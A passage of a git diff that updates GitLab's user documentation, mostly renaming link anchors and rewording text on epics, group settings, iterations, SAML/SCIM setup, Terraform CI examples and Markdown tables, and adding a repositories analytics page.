- Search for the desired issue by entering part of the issue's title, then selecting the desired
@@ -298,7 +286,7 @@ For more on epic templates, see [Epic Templates - Repeatable sets of issues](htt
To add a child epic to an epic:
1. Click the **Add** dropdown button.
-1. Click **Add an epic**.
+1. Click **Add a new epic**.
1. Identify the epic to be added, using either of the following methods:
- Paste the link of the epic.
- Search for the desired issue by entering part of the epic's title, then selecting the desired
@@ -313,7 +301,7 @@ To add a child epic to an epic:
New child epics appear at the top of the list in the **Epics and Issues** tab.
You can move child epics from one epic to another.
-When you add an epic that's already linked to a parent epic, the link to its current parent is removed.
+When you add a new epic that's already linked to a parent epic, the link to its current parent is removed.
Issues and child epics cannot be intermingled.
To move child epics to another epic:
diff --git a/doc/user/group/index.md b/doc/user/group/index.md
index 22ad311ab4f..32b76cf9280 100644
--- a/doc/user/group/index.md
+++ b/doc/user/group/index.md
@@ -227,7 +227,7 @@ To change this setting for a specific group:
To change this setting globally, see [Default branch protection](../admin_area/settings/visibility_and_access_controls.md#default-branch-protection).
NOTE: **Note:**
-In [GitLab Premium or higher](https://about.gitlab.com/pricing/), GitLab administrators can choose to [disable group owners from updating the default branch protection](../admin_area/settings/visibility_and_access_controls.md#disable-group-owners-from-updating-default-branch-protection-premium-only).
+In [GitLab Premium or higher](https://about.gitlab.com/pricing/), GitLab administrators can choose to [disable group owners from updating the default branch protection](../admin_area/settings/visibility_and_access_controls.md#disable-group-owners-from-updating-default-branch-protection).
## Add projects to a group
@@ -340,7 +340,7 @@ Group syncing allows LDAP groups to be mapped to GitLab groups. This provides mo
Group links can be created using either a CN or a filter. These group links are created on the **Group Settings -> LDAP Synchronization** page. After configuring the link, it may take over an hour for the users to sync with the GitLab group.
-For more information on the administration of LDAP and group sync, refer to the [main LDAP documentation](../../administration/auth/ldap/index.md#group-sync-starter-only).
+For more information on the administration of LDAP and group sync, refer to the [main LDAP documentation](../../administration/auth/ldap/index.md#group-sync).
NOTE: **Note:**
If an LDAP user is a group member when LDAP Synchronization is added, and they are not part of the LDAP group, they will be removed from the group.
@@ -363,7 +363,7 @@ To create group links via filter:
1. Select the **LDAP Server** for the link.
1. Select `LDAP user filter` as the **Sync method**.
-1. Input your filter in the **LDAP User filter** box. Follow the [documentation on user filters](../../administration/auth/ldap/index.md#set-up-ldap-user-filter-core-only).
+1. Input your filter in the **LDAP User filter** box. Follow the [documentation on user filters](../../administration/auth/ldap/index.md#set-up-ldap-user-filter).
1. In the **LDAP Access** section, select the [permission level](../permissions.md) for users synced in this group.
1. Click the `Add Synchronization` button to save this group link.
@@ -480,7 +480,7 @@ To remove a group and its contents:
This action either:
- Removes the group, and also queues a background job to delete all projects in that group.
-- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/premium/) or higher tiers, marks a group for deletion. The deletion will happen 7 days later by default, but this can be changed in the [instance settings](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only).
+- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/premium/) or higher tiers, marks a group for deletion. The deletion will happen 7 days later by default, but this can be changed in the [instance settings](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
### Restore a group **(PREMIUM)**
@@ -660,7 +660,7 @@ Optionally, on [Premium or Silver](https://about.gitlab.com/pricing/) or higher
you can configure the projects within a group to be deleted after a delayed interval.
During this interval period, the projects will be in a read-only state and can be restored, if required.
-The interval period defaults to 7 days, and can be modified by an admin in the [instance settings](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only).
+The interval period defaults to 7 days, and can be modified by an admin in the [instance settings](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
To enable delayed deletion of projects:
@@ -668,6 +668,9 @@ To enable delayed deletion of projects:
1. Expand the **Permissions, LFS, 2FA** section, and check **Enable delayed project removal**.
1. Click **Save changes**.
+NOTE: **Note:**
+The group setting for delayed deletion is not inherited by sub-groups and has to be individually defined for each group.
+
#### Prevent project forking outside group **(PREMIUM)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216987) in GitLab 13.3.
@@ -711,7 +714,8 @@ If your namespace shows `N/A` as the total storage usage, you can trigger a reca
#### Group push rules **(STARTER)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34370) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.8.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34370) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.8.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/224129) in GitLab 13.4.
Group push rules allow group maintainers to set
[push rules](../../push_rules/push_rules.md) for newly created projects within the specific group.
@@ -724,18 +728,10 @@ When set, new subgroups have push rules set for them based on either:
- The closest parent group with push rules defined.
- Push rules set at the instance level, if no parent groups have push rules defined.
-##### Enabling the feature
-
-This feature comes with the `:group_push_rules` feature flag disabled by default. It can be enabled for specific group using feature flag [API endpoint](../../api/features.md#set-or-create-a-feature) or by GitLab administrator with Rails console access by running:
-
-```ruby
-Feature.enable(:group_push_rules)
-```
-
### Maximum artifacts size **(CORE ONLY)**
For information about setting a maximum artifact size for a group, see
-[Maximum artifacts size](../admin_area/settings/continuous_integration.md#maximum-artifacts-size-core-only).
+[Maximum artifacts size](../admin_area/settings/continuous_integration.md#maximum-artifacts-size).
## User contribution analysis **(STARTER)**
@@ -747,6 +743,12 @@ and issues) performed by your group members.
With [GitLab Issue Analytics](issues_analytics/index.md), you can see a bar chart of the number of issues created each month in your groups.
+## Repositories analytics **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215104) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
+
+With [GitLab Repositories Analytics](repositories_analytics/index.md), you can download a CSV of the latest coverage data for all the projects in your group.
+
## Dependency Proxy **(PREMIUM)**
Use GitLab as a [dependency proxy](../packages/dependency_proxy/index.md) for upstream Docker images.
diff --git a/doc/user/group/iterations/index.md b/doc/user/group/iterations/index.md
index f04472a29bb..20cbc043d83 100644
--- a/doc/user/group/iterations/index.md
+++ b/doc/user/group/iterations/index.md
@@ -13,7 +13,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - It's enabled on GitLab.com.
> - It's able to be enabled or disabled per-group.
> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iterations-core-only). **(CORE ONLY)**
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iterations). **(CORE ONLY)**
Iterations are a way to track issues over a period of time. This allows teams
to track velocity and volatility metrics. Iterations can be used with [milestones](../../project/milestones/index.md)
@@ -62,7 +62,7 @@ To edit an iteration, click the three-dot menu (**{ellipsis_v}**) > **Edit itera
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216158) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.2.
To learn how to add an issue to an iteration, see the steps in
-[Managing issues](../../project/issues/managing_issues.md#add-an-issue-to-an-iteration-starter).
+[Managing issues](../../project/issues/managing_issues.md#add-an-issue-to-an-iteration).
## Disable Iterations **(CORE ONLY)**
@@ -76,7 +76,7 @@ To enable it:
# Instance-wide
Feature.enable(:group_iterations)
# or by group
-Feature.enable(:group_iterations, Group.find(<group id>))
+Feature.enable(:group_iterations, Group.find(<group ID>))
```
To disable it:
@@ -85,7 +85,7 @@ To disable it:
# Instance-wide
Feature.disable(:group_iterations)
# or by group
-Feature.disable(:group_iterations, Group.find(<group id>))
+Feature.disable(:group_iterations, Group.find(<group ID>))
```
<!-- ## Troubleshooting
diff --git a/doc/user/group/repositories_analytics/index.md b/doc/user/group/repositories_analytics/index.md
new file mode 100644
index 00000000000..b013e371ed2
--- /dev/null
+++ b/doc/user/group/repositories_analytics/index.md
@@ -0,0 +1,67 @@
+---
+type: reference
+stage: Verify
+group: Analytics
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Repositories Analytics **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215104) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
+> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-repositories-analytics). **(CORE ONLY)**
+
+CAUTION: **Warning:**
+This feature might not be available to you. Check the **version history** note above for details.
+
+You can get a CSV of the code coverage data for all of the projects in your group. This report has a maximum of 1000 records. To get the report:
+
+1. Go to your group's **Analytics > Repositories** page
+1. Click **Download historic test coverage data (.csv)**,
+1. In the popup, select the projects you want to include in the report.
+1. Select the date range for the report from the preset options.
+1. Click **Download test coverage data (.csv)**.
+
+The projects dropdown shows up to 100 projects from your group. If the project you want to check is not in the dropdown list, you can select **All projects** to download the report for all projects in your group, including any projects that are not listed. There is a plan to improve this behavior in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/250684).
+
+For each day that a coverage report was generated by a job in a project's pipeline, there will be a row in the CSV which includes:
+
+- The date when the coverage job ran
+- The name of the job that generated the coverage report
+- The name of the project
+- The coverage value
+
+If the project's code coverage was calculated more than once in a day, we will take the last value from that day.
+
+## Enable or disable Repositories Analytics **(CORE ONLY)**
+
+Repositories Analytics is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can opt to disable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:group_coverage_reports)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:group_coverage_reports)
+```
+
+<!-- ## Troubleshooting
+
+Include any troubleshooting steps that you can foresee. If you know beforehand what issues
+one might have when setting this up, or when something is changed, or on upgrading, it's
+important to describe those, too. Think of things that may go wrong and include them here.
+This is important to minimize requests for support, and to avoid doc comments with
+questions that you know someone might ask.
+
+Each scenario can be a third-level heading, e.g. `### Getting error message X`.
+If you have none to add when creating a doc, leave this section in place
+but commented out to help encourage others to add to it in the future. -->
diff --git a/doc/user/group/saml_sso/group_managed_accounts.md b/doc/user/group/saml_sso/group_managed_accounts.md
index 126970ebbb6..7497d036d31 100644
--- a/doc/user/group/saml_sso/group_managed_accounts.md
+++ b/doc/user/group/saml_sso/group_managed_accounts.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Group Managed Accounts **(PREMIUM)**
CAUTION: **Caution:**
-This [Closed Beta](https://about.gitlab.com/handbook/product/#closed-beta) feature is being re-evaluated in favor of a different
+This [Closed Beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#sts=Closed%20Beta) feature is being re-evaluated in favor of a different
[identity model](https://gitlab.com/gitlab-org/gitlab/-/issues/218631) that does not require separate accounts.
We recommend that group administrators who haven't yet implemented this feature wait for
the new solution.
@@ -76,7 +76,8 @@ This restriction also applies to projects forked from or to those groups.
Groups with group-managed accounts can disallow forking of projects to destinations outside the group.
To do so, enable the "Prohibit outer forks" option in **Settings > SAML SSO**.
-When enabled, projects within the group can only be forked to other destinations within the group (including its subgroups).
+When enabled **at the parent group level**, projects within the group can be forked
+only to other destinations within the group (including its subgroups).
## Credentials inventory for Group-managed accounts **(ULTIMATE)**
@@ -104,7 +105,7 @@ Since personal access tokens are the only token needed for programmatic access t
### Setting a limit
-Only a GitLab administrator or an owner of a group-managed account can set a limit. When this field is left empty, the [instance-level restriction](../../admin_area/settings/account_and_limit_settings.md#limiting-lifetime-of-personal-access-tokens-ultimate-only) on the lifetime of personal access tokens apply.
+Only a GitLab administrator or an owner of a group-managed account can set a limit. When this field is left empty, the [instance-level restriction](../../admin_area/settings/account_and_limit_settings.md#limiting-lifetime-of-personal-access-tokens) on the lifetime of personal access tokens apply.
To set a limit on how long personal access tokens are valid for users in a group managed account:
diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md
index f516f4080fa..57b9cc92c51 100644
--- a/doc/user/group/saml_sso/index.md
+++ b/doc/user/group/saml_sso/index.md
@@ -274,10 +274,10 @@ Group SAML on a self-managed instance is limited when compared to the recommende
[instance-wide SAML](../../../integration/saml.md). The recommended solution allows you to take advantage of:
- [LDAP compatibility](../../../administration/auth/ldap/index.md).
-- [LDAP Group Sync](../index.md#manage-group-memberships-via-ldap-starter-only).
-- [Required groups](../../../integration/saml.md#required-groups-starter-only).
-- [Admin groups](../../../integration/saml.md#admin-groups-starter-only).
-- [Auditor groups](../../../integration/saml.md#auditor-groups-starter-only).
+- [LDAP Group Sync](../index.md#manage-group-memberships-via-ldap).
+- [Required groups](../../../integration/saml.md#required-groups).
+- [Admin groups](../../../integration/saml.md#admin-groups).
+- [Auditor groups](../../../integration/saml.md#auditor-groups).
### Omnibus installations
@@ -361,7 +361,7 @@ Here are possible causes and solutions:
Getting both of these errors at the same time suggests the NameID capitalization provided by the Identity Provider didn't exactly match the previous value for that user.
-This can be prevented by configuring the [NameID](#nameid) to return a consistent value. Fixing this for an individual user involves [unlinking SAML in the GitLab account](#unlinking-accounts), although this will cause group membership and Todos to be lost.
+This can be prevented by configuring the [NameID](#nameid) to return a consistent value. Fixing this for an individual user involves [unlinking SAML in the GitLab account](#unlinking-accounts), although this will cause group membership and to-dos to be lost.
### Message: "Request to link SAML account must be authorized"
@@ -377,7 +377,7 @@ Alternatively, when users need to [link SAML to their existing GitLab.com accoun
| Cause | Solution |
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| As mentioned in the [NameID](#nameid) section, if the NameID changes for any user, the user can be locked out. This is a common problem when an email address is used as the identifier. | Follow the steps outlined in the ["SAML authentication failed: User has already been taken"](#message-saml-authentication-failed-user-has-already-been-taken) section. If many users are affected, we recommend that you use the appropriate API. |
+| As mentioned in the [NameID](#nameid) section, if the NameID changes for any user, the user can be locked out. This is a common problem when an email address is used as the identifier. | Follow the steps outlined in the ["SAML authentication failed: User has already been taken"](#message-saml-authentication-failed-user-has-already-been-taken) section. |
### I need to change my SAML app
diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md
index 9a2bd2e8806..4f74e672392 100644
--- a/doc/user/group/saml_sso/scim_setup.md
+++ b/doc/user/group/saml_sso/scim_setup.md
@@ -159,7 +159,16 @@ application described above.
## User access and linking setup
-As long as [Group SAML](index.md) has been configured, prior to turning on sync, existing GitLab.com users can link to their accounts in one of the following ways, before synchronization is active:
+The following diagram is a general outline on what happens when you add users to your SCIM app:
+
+```mermaid
+graph TD
+ A[Add User to SCIM app] -->|IdP sends user info to GitLab| B(GitLab: Does the email exists?)
+ B -->|No| C[GitLab creates user with SCIM identity]
+ B -->|Yes| D[GitLab sends message back 'Email exists']
+```
+
+As long as [Group SAML](index.md) has been configured, existing GitLab.com users can link to their accounts in one of the following ways:
- By updating their *primary* email address in their GitLab.com user account to match their identity provider's user profile email address.
- By following these steps:
@@ -168,21 +177,41 @@ As long as [Group SAML](index.md) has been configured, prior to turning on sync,
1. Click on the GitLab app in the identity provider's dashboard or visit the **GitLab single sign-on URL**.
1. Click on the **Authorize** button.
+We recommend users do this prior to turning on sync, because while synchronization is active, there may be provisioning errors for existing users.
+
New users and existing users on subsequent visits can access the group through the identify provider's dashboard or by visiting links directly.
For role information, please see the [Group SAML page](index.md#user-access-and-management)
### Blocking access
-To rescind access to the group, we recommend removing the user from the identity
+To rescind access to the group, remove the user from the identity
provider or users list for the specific app.
-Upon the next sync, the user will be deprovisioned, which means that the user will be removed from the group. The user account will not be deleted unless using [group managed accounts](group_managed_accounts.md).
+Upon the next sync, the user is deprovisioned, which means that the user is removed from the group.
+
+NOTE: **Note:**
+Deprovisioning does not delete the user account.
+
+```mermaid
+graph TD
+ A[Remove User from SCIM app] -->|IdP sends request to GitLab| B(GitLab: Is the user part of the group?)
+ B -->|No| C[Nothing to do]
+ B -->|Yes| D[GitLab removes user from GitLab group]
+```
## Troubleshooting
This section contains possible solutions for problems you might encounter.
+### How come I can't add a user after I removed them?
+
+As outlined in the [Blocking access section](#blocking-access), when you remove a user, they are removed from the group. However, their account is not deleted.
+
+When the user is added back to the SCIM app, GitLab cannot create a new user because the user already exists.
+
+Solution: Have a user sign in directly to GitLab, then [manually link](#user-access-and-linking-setup) their account.
+
### Azure
#### How do I verify my SCIM configuration is correct?
@@ -236,7 +265,7 @@ Alternatively, the [SCIM API](../../../api/scim.md#get-a-list-of-saml-users) can
For example:
```shell
-curl 'https://example.gitlab.com/api/scim/v2/groups/GROUP_NAME/Users?startIndex=1"' --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
+curl 'https://gitlab.example.com/api/scim/v2/groups/GROUP_NAME/Users?startIndex=1"' --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
```
To see how this compares to the value returned as the SAML NameId, you can have the user use a [SAML Tracer](index.md#saml-debugging-tools).
diff --git a/doc/user/group/settings/img/import_panel_v13_1.png b/doc/user/group/settings/img/import_panel_v13_1.png
deleted file mode 100644
index ce2eb579446..00000000000
--- a/doc/user/group/settings/img/import_panel_v13_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/settings/img/import_panel_v13_4.png b/doc/user/group/settings/img/import_panel_v13_4.png
new file mode 100644
index 00000000000..e4e5b0e91a1
--- /dev/null
+++ b/doc/user/group/settings/img/import_panel_v13_4.png
Binary files differ
diff --git a/doc/user/group/settings/import_export.md b/doc/user/group/settings/import_export.md
index ae83c8da462..77cb862a49d 100644
--- a/doc/user/group/settings/import_export.md
+++ b/doc/user/group/settings/import_export.md
@@ -52,7 +52,7 @@ The following items are exported:
The following items are **not** exported:
- Projects
-- Runners token
+- Runner tokens
- SAML discovery tokens
NOTE: **Note:**
@@ -94,7 +94,7 @@ on an existing group's page.
1. On the New Group page, select the **Import group** tab.
- ![Fill in group details](img/import_panel_v13_1.png)
+ ![Fill in group details](img/import_panel_v13_4.png)
1. Enter your group name.
diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md
index 235855b6e3a..6de38354c5e 100644
--- a/doc/user/group/subgroups/index.md
+++ b/doc/user/group/subgroups/index.md
@@ -115,10 +115,10 @@ When you add a member to a subgroup, they inherit the membership and permission
level from the parent group(s). This model allows access to nested groups if you
have membership in one of its parents.
-Jobs for pipelines in subgroups can use [Runners](../../../ci/runners/README.md) registered to the parent group(s).
+Jobs for pipelines in subgroups can use [runners](../../../ci/runners/README.md) registered to the parent group(s).
This means secrets configured for the parent group are available to subgroup jobs.
-In addition, maintainers of projects that belong to subgroups can see the details of Runners registered to parent group(s).
+In addition, maintainers of projects that belong to subgroups can see the details of runners registered to parent group(s).
The group permissions for a member can be changed only by Owners, and only on
the **Members** page of the group the member was added.
diff --git a/doc/user/img/feature_flags_history_note_info_v13_2.png b/doc/user/img/feature_flags_history_note_info_v13_2.png
new file mode 100644
index 00000000000..403a6002603
--- /dev/null
+++ b/doc/user/img/feature_flags_history_note_info_v13_2.png
Binary files differ
diff --git a/doc/user/img/version_history_notes_collapsed_v13_2.png b/doc/user/img/version_history_notes_collapsed_v13_2.png
new file mode 100644
index 00000000000..42ea11ae8ff
--- /dev/null
+++ b/doc/user/img/version_history_notes_collapsed_v13_2.png
Binary files differ
diff --git a/doc/user/index.md b/doc/user/index.md
index 1ab3541575c..ce8713591ab 100644
--- a/doc/user/index.md
+++ b/doc/user/index.md
@@ -57,7 +57,7 @@ With GitLab Enterprise Edition, you can also:
- [Multiple Issue Boards](project/issue_board.md#multiple-issue-boards).
- Create formal relationships between issues with [Related Issues](project/issues/related_issues.md).
- Use [Burndown Charts](project/milestones/burndown_charts.md) to track progress during a sprint or while working on a new version of their software.
-- Leverage [Elasticsearch](../integration/elasticsearch.md) with [Advanced Global Search](search/advanced_global_search.md) and [Advanced Syntax Search](search/advanced_search_syntax.md) for faster, more advanced code search across your entire GitLab instance.
+- Leverage [Elasticsearch](../integration/elasticsearch.md) with [Advanced Search](search/advanced_global_search.md) and [Advanced Search Syntax](search/advanced_search_syntax.md) for faster, more advanced code search across your entire GitLab instance.
- [Authenticate users with Kerberos](../integration/kerberos.md).
- [Mirror a repository](project/repository/repository_mirroring.md) from elsewhere on your local server.
- [Export issues as CSV](project/issues/csv_export.md).
@@ -134,10 +134,10 @@ the best of GitLab Flavored Markdown in your threads, comments,
issues and merge requests descriptions, and everywhere else GFM is
supported.
-## Todos
+## To-Do List
-Never forget to reply to your collaborators. [GitLab Todos](todos.md)
-are a tool for working faster and more effectively with your team,
+Never forget to reply to your collaborators. [GitLab To-Do List](todos.md)
+is a tool for working faster and more effectively with your team,
by listing all user or group mentions, as well as issues and merge
requests you're assigned to.
@@ -151,6 +151,10 @@ requests you're assigned to.
you have quick access to. You can also gather feedback on them through
[Discussions](#discussions).
+## Features behind feature flags
+
+Understand what [features behind feature flags](feature_flags.md) mean.
+
## Keyboard shortcuts
There are many [keyboard shortcuts](shortcuts.md) in GitLab to help you navigate between
@@ -175,9 +179,9 @@ Automate GitLab via [API](../api/README.md).
Learn what is [Git](../topics/git/index.md) and its best practices.
-## Instance statistics
+## Instance-level analytics
-See [various statistics](instance_statistics/index.md) of your GitLab instance.
+See [various statistics](admin_area/analytics/index.md) of your GitLab instance.
## Operations Dashboard **(PREMIUM)**
diff --git a/doc/user/infrastructure/index.md b/doc/user/infrastructure/index.md
index 2a49ca18aaf..227a67f8c8a 100644
--- a/doc/user/infrastructure/index.md
+++ b/doc/user/infrastructure/index.md
@@ -376,17 +376,18 @@ can configure this manually as follows:
### Example `.gitlab-ci.yaml` file
```yaml
-image: registry.gitlab.com/gitlab-org/terraform-images/stable:latest
+default:
+ image: registry.gitlab.com/gitlab-org/terraform-images/stable:latest
+
+ cache:
+ key: example-production
+ paths:
+ - ${TF_ROOT}/.terraform
variables:
TF_ROOT: ${CI_PROJECT_DIR}/environments/example/production
TF_ADDRESS: ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/terraform/state/example-production
-cache:
- key: example-production
- paths:
- - ${TF_ROOT}/.terraform
-
before_script:
- cd ${TF_ROOT}
@@ -433,18 +434,19 @@ apply:
### Multiple Terraform Plan reports
-Starting with 13.2, you can display mutiple reports on the Merge Request page. The reports will also display the `artifacts: name:`. See example below for a suggested setup.
+Starting with 13.2, you can display multiple reports on the Merge Request page. The reports will also display the `artifacts: name:`. See example below for a suggested setup.
```yaml
-image:
- name: registry.gitlab.com/gitlab-org/gitlab-build-images:terraform
- entrypoint:
- - '/usr/bin/env'
- - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
-
-cache:
- paths:
- - .terraform
+default:
+ image:
+ name: registry.gitlab.com/gitlab-org/gitlab-build-images:terraform
+ entrypoint:
+ - '/usr/bin/env'
+ - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
+
+ cache:
+ paths:
+ - .terraform
stages:
- build
diff --git a/doc/user/instance_statistics/convdev.md b/doc/user/instance_statistics/convdev.md
deleted file mode 100644
index a1a4eca191c..00000000000
--- a/doc/user/instance_statistics/convdev.md
+++ /dev/null
@@ -1,5 +0,0 @@
----
-redirect_to: '../instance_statistics/dev_ops_score.md'
----
-
-This document was moved to [another location](../instance_statistics/dev_ops_score.md).
diff --git a/doc/user/instance_statistics/dev_ops_score.md b/doc/user/instance_statistics/dev_ops_score.md
deleted file mode 100644
index 35dcbd01916..00000000000
--- a/doc/user/instance_statistics/dev_ops_score.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# DevOps Score
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30469) in GitLab 9.3.
-> - [Renamed from Conversational Development Index](https://gitlab.com/gitlab-org/gitlab/-/issues/20976) in GitLab 12.6.
-
-NOTE: **Note:**
-Your GitLab instance's [usage ping](../admin_area/settings/usage_statistics.md#usage-ping-core-only) must be activated in order to use this feature.
-
-The DevOps Score gives you an overview of your entire instance's adoption of
-[Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/)
-from planning to monitoring.
-
-This displays the usage of these GitLab features over
-the last 30 days, averaged over the number of active users in that time period. It also
-provides a Lead score per feature, which is calculated based on GitLab's analysis
-of top-performing instances based on [usage ping data](../admin_area/settings/usage_statistics.md#usage-ping-core-only) that GitLab has
-collected. Your score is compared to the lead score of each feature and then expressed as a percentage at the bottom of said feature.
-Your overall **index score** is an average of your feature scores. You can use this score to compare your DevOps status to other organizations.
-
-![DevOps Score](img/dev_ops_score_v12_6.png)
-
-The page also provides helpful links to articles and GitLab docs, to help you
-improve your scores.
-
-Usage ping data is aggregated on GitLab's servers for analysis. Your usage
-information is **not sent** to any other GitLab instances. If you have just started using GitLab, it may take a few weeks for data to be
-collected before this feature is available.
diff --git a/doc/user/instance_statistics/img/cohorts.png b/doc/user/instance_statistics/img/cohorts.png
deleted file mode 100644
index 19250e385aa..00000000000
--- a/doc/user/instance_statistics/img/cohorts.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/instance_statistics/img/dev_ops_score_v12_6.png b/doc/user/instance_statistics/img/dev_ops_score_v12_6.png
deleted file mode 100644
index af07e9323d6..00000000000
--- a/doc/user/instance_statistics/img/dev_ops_score_v12_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/instance_statistics/img/instance_statistics_button_v12_6.png b/doc/user/instance_statistics/img/instance_statistics_button_v12_6.png
deleted file mode 100644
index e5f033141ca..00000000000
--- a/doc/user/instance_statistics/img/instance_statistics_button_v12_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/instance_statistics/index.md b/doc/user/instance_statistics/index.md
deleted file mode 100644
index b09651e04ee..00000000000
--- a/doc/user/instance_statistics/index.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# Instance statistics
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41416) in GitLab 11.2.
-
-Instance statistics gives users or admins access to instance-wide analytics.
-They are accessible to all users by default (GitLab admins can restrict its
-visibility in the [Admin Area](../admin_area/settings/usage_statistics.md)),
-and can be accessed via the top bar.
-
-![Analytics button](img/instance_statistics_button_v12_6.png)
-
-There are two kinds of statistics:
-
-- [Dev Ops Score](dev_ops_score.md): Provides an overview of your entire instance's feature usage.
-- [User Cohorts](user_cohorts.md): Display the monthly cohorts of new users and their activities over time.
diff --git a/doc/user/instance_statistics/user_cohorts.md b/doc/user/instance_statistics/user_cohorts.md
deleted file mode 100644
index 8da2d57d474..00000000000
--- a/doc/user/instance_statistics/user_cohorts.md
+++ /dev/null
@@ -1,29 +0,0 @@
-# Cohorts
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/23361) in GitLab 9.1.
-
-As a benefit of having the [usage ping active](../admin_area/settings/usage_statistics.md),
-GitLab lets you analyze the users' activities over time of your GitLab installation.
-
-## Overview
-
-How do we read the user cohorts table? Let's take an example with the following
-user cohorts.
-
-![User cohort example](img/cohorts.png)
-
-For the cohort of Jan 2018, 15 users have been added on this server and have
-been active since this month. One month later, in Feb 2018, all 15 users are
-still active. 6 months later (Month 6, July), we can see 10 users from this cohort
-are active, or 66% of the original cohort of 15 that joined in January.
-
-The Inactive users column shows the number of users who have been added during
-the month, but who have never actually had any activity in the instance.
-
-How do we measure the activity of users? GitLab considers a user active if:
-
-- The user signs in.
-- The user has Git activity (whether push or pull).
-- The user visits pages related to Dashboards, Projects, Issues, and Merge Requests ([introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/54947) in GitLab 11.8).
-- The user uses the API
-- The user uses the GraphQL API
diff --git a/doc/user/markdown.md b/doc/user/markdown.md
index 12d65f75b37..03a4e4cb244 100644
--- a/doc/user/markdown.md
+++ b/doc/user/markdown.md
@@ -438,6 +438,11 @@ GFM recognizes the following:
| commit range comparison | `9ba12248...b19a04f5` | `namespace/project@9ba12248...b19a04f5` | `project@9ba12248...b19a04f5` |
| repository file references | `[README](doc/README)` | | |
| repository file line references | `[README](doc/README#L13)` | | |
+| [alert](../operations/incident_management/alerts.md) | `^alert#123` | `namespace/project^alert#123` | `project^alert#123` |
+
+For example, referencing an issue by using `#123` will format the output as a link
+to issue number 123 with text `#123`. Likewise, a link to issue number 123 will be
+recognized and formatted with text `#123`.
In addition to this, links to some objects are also recognized and formatted. Some examples of these are:
@@ -1419,13 +1424,15 @@ Example:
| cell 1 | cell 2 | cell 3 |
| cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's ok. It eventually wraps the text when the cell is too large for the display size. |
| cell 7 | | cell <br> 9 |
+| cell 10 | <ul><li> - [ ] Task One </li></ul> | <ul><li> - [ ] Task Two </li><li> - [ ] Task Three </li></ul> |
```
| header 1 | header 2 | header 3 |
| --- | ------ |---------:|
| cell 1 | cell 2 | cell 3 |
-| cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's okay. It eventually wraps the text when the cell is too large for the display size. |
+| cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's ok. It eventually wraps the text when the cell is too large for the display size. |
| cell 7 | | cell <br> 9 |
+| cell 10 | <ul><li> - [ ] Task One </li></ul> | <ul><li> - [ ] Task Two </li><li> - [ ] Task Three </li></ul> |
Additionally, you can choose the alignment of text within columns by adding colons (`:`)
to the sides of the "dash" lines in the second row. This affects every cell in the column.
diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md
index 9b1f23f6d59..89e02b4847c 100644
--- a/doc/user/packages/composer_repository/index.md
+++ b/doc/user/packages/composer_repository/index.md
